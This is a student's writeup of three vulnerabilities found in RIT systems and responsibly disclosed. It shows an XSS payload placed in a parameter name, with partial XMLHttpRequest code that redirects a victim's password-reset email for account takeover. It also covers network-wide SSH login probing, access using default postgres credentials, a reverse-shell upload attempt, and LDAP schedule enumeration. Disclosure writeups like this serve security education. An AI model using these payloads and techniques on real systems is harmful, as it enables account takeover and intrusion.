As a cybersecurity student at RIT, I spent some time testing the security of our university systems.
This post is a writeup of three vulnerabilities I found:
start.rit.edu
, that enabled one click account takeoverAll findings were responsibly disclosed to RIT. Thank you to the RIT security team for responding quickly, and taking these issues seriously.
start.rit.edu
is a critical internal app at RIT used to manage:
While exploring the site, I found it was highly verbose in its error messages. Although not visible to the user, the site HTML contained full exception traces with file paths and class names. These stack traces offered insight into how backend logic and input validation were structured.
Example stack trace hidden in HTML:
Stack trace:
#0 /opt/claws/www/lib/Controller.php(36): InputValidator::sanitizeArray(Array, Array)
#1 /opt/claws/www/public/dispatch.php(229): Controller->sanitize()\n#2 {main}
Claws appears to be the internal name of the project that powers start.rit.edu
, and is also used by RIT Administrators to manage accounts and services.
Eventually, I discovered that if you submitted a request with an unexpected query parameter name, the server reflected the parameter name in an error message without proper encoding.
FATAL CLAWS CONDITION: filter not defined for parameter_name<, child of .
It appeared that the server was iterating through parameter names, filtering parameter values based on parameter names. When a parameter name was unknown, the access of filter
wasn’t defined and an error was thrown, including the unknown arbitary parameter name.
This meant I could inject JavaScript via the parameter name (not parameter value). For example:
start.rit.edu/.../index?<script>eval("\x61\x6c\x65\x72\x74(\"HI\")")</script>=b
The payload above is hex-encoded since parameter names with spaces or semicolons were not accepted.
Because the server didn’t use a Content Security Policy (CSP), the injected JavaScript executed immediately.
Since this was the same portal used for password resets, the next step was figuring out how to abuse the XSS to change another user’s reset email address.
After figuring out how their API worked I created a payload that:
XMLHttpRequest
to create a MailPreference
handlerXMLHttpRequest
again to submit a POST request to change the users password reset emailvar xhr1 = new XMLHttpRequest();
xhr1.open( "GET", "https://start.rit.edu/MailPreference", false );
xhr1.send( null );
...
// Parse out the handler number
...
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", handler_number, true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
xhr2.send("server_select=GOOGLE&RITEDUMAILFORWARD=&RITEDUVANITYNAME=&PUBLISH_SELECT=OFFICIAL&EMAIL=attacker_email%40gmail.com&submit=");
The full payload was hex-encoded and injected via a parameter name in a URL like:
https://start.rit.edu/Me?%3Cscript%3Eeval(%22\x76\x61\x72\x20...</script>=b
This link could be sent in a phishing link or embedded in an attacker page.
If the user clicked the link, they would be asked to login if they hadn’t already. The login would be through the official RIT SSO, which is typical for many RIT sites.
Once the user logged in, their session cookie and auto-filled credentials would allow the payload to run.
After the external email was changed, an attacker could reset the victim’s password using the standard flow.
(RIT patched the issue within two days of disclosure.)
Given that RIT setup servers using LDAP, I thought it might be possible for servers to be misconfigured to allow logins for any RIT account (including students).
In order to find any RIT server that might allow student SSH access, I used nmap to scan the entire class B network range at RIT for port 22.
Once I had a list of servers that had port 22 open, I built a custom tool with libssh that would attempt to login with my own credentials. It would then run a few commmands and log the results (hostname
, uname -a
, ls /
, ls /home/
, etc.)
(After running this against the RIT network, I changed my password in case any honeypot was logging SSH credentials.)
Collecting the results, I found that 16 servers allowed SSH access with my student credentials. Some of these were unimportant, since they were servers setup for students to complete or upload work, or test servers not running any real services.
Some servers had network mounted storage for university research, but the contents were set to non-readable.
Only a few cases had any real significance, one of which was digitalarchive.rit.edu
, which had a postgres database exposed internally.
Using the postgres
command I was able to login with credentials postgres/postgres
. This gave me read/write access to the Digital Archive database.
To verify I had access to the actual site, I created an account and added myself to the “Faculty Senate Minutes” group. I also viewed a small number of database entries.
A very small number of users had password hashes stored in the database. These appeared to be for users external to RIT who could not go through the typical SSO.
The database also included what extensions were allowed to be uploaded per user. By default, users were only allowed PNG, PDF, and a few other formats.
I attempted to gain execution as the main site user by allowing my account to upload arbitary files, and uploading a PHP reverse shell. However the upload directory did not allow execution of scripts.
Some RIT servers are limited to particular classes/majors. For example, nitron
is only for students taking courses in Software Engineering. Since RIT’s SSH servers use LDAP for authentication, I wondered if they used LDAP groups to store students majors/schedules.
Group membership data is available via the id
and getent
commands.
Example output:
id uid=62744(sjf5462) gid=5003(student) groups=5003(student),...(rit-section-current-csec-559-02-s)...
Included in the group list are:
rit-course-current-csci-462
which is RIT cryptography)rit-section-current-phil-102-04
the exact section you are in)After asking a friend if he was okay with me testing this against his account, I verified that I could see his entire class schedule. To make clear, this kind of access was not normally available through standard AD credentials, but was possible in Linux due to how RIT’s servers used a high-privilege AD account for NSS lookups.
Using the getent
command I could also look up what users were in a given group. This information could be used to:
Thanks once again to the RIT Information Security team for their professionalism and responsiveness throughout the disclosure process. I’m grateful for their collaboration and for fostering an environment where responsible security research is valued.